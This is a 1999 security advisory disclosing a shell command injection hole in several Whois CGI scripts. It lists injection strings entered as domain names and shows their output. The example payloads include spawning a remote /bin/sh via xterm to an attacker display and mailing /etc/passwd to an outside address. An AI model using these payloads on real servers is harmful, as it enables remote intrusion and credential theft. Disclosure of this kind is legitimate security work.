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Whois.cgi - ADVISORY.
From: hhp () HHP PERLX COM (Cody T. - hhp)
Date: Tue, 9 Nov 1999 20:51:58 -0600

  (hhp) Whois.CGI - ADVISORY. (hhp)
         11/9/99 8:42:57pm CST
             By: loophole
 hhp () hhp perlx com - http://hhp.perlx.com
Hole  in  several  known/unknown Whois CGI
1.) Whois Internic Lookup - version: 1.0
2.) CC Whois              - Version: 1.0
3.) Matt's Whois          - Version: 1

These versions allow execution of commands
due  to  lack  of  shell  escape character
parsing  if  the domain entries consist of
one of the following strings...
Note: (Strings  will  vary  for different
vulnerable versions.)

1.) ;commands
2.) ";commands
3.) ;commands;
If the domain entries consist of:
1.) ;id
2.) ";id
or either,
3.) ;id;
you will see something like this:
'Whois Server Version 1.1

Domain names in the .com, .net, and .org
domains  can now be registered with many
different  competing  registrars.  Go to
http://www.internic.net for detailed
information. etc. etc. etc....
(scroll  to  the  bottom of the output.)
uid=501(blah) gid=500(blah)'
      ` 'id' was executed on the server.

Other example commands can be ran also...
;xterm -display ip:0.0 -rv -e /bin/sh
";uname -a;whoami;w;ls -al
;cat /etc/passwd|mail you () yourdomain com;
Etc, Etc.

     Alot of main *NIC* servers were found
running  vulnerable versions.  I am in the
process  of  contacting  the main servers,
and the software programmers to advise the

     Very   well   known/used   sites  are
vulnerable (Which will rename nameless for
security  reasons).  I  tried  to  get  in
contact  with  them,  but being such a big
company/service,  I failed, so sad indeed.
     If  you run one of these bad scripts,
delete  it  and  point  your  browser  to:
and download one of the secure packages.
Shouts to all of hhp.
Fuck you to gH for trying to rip this ADV
before I could release it.

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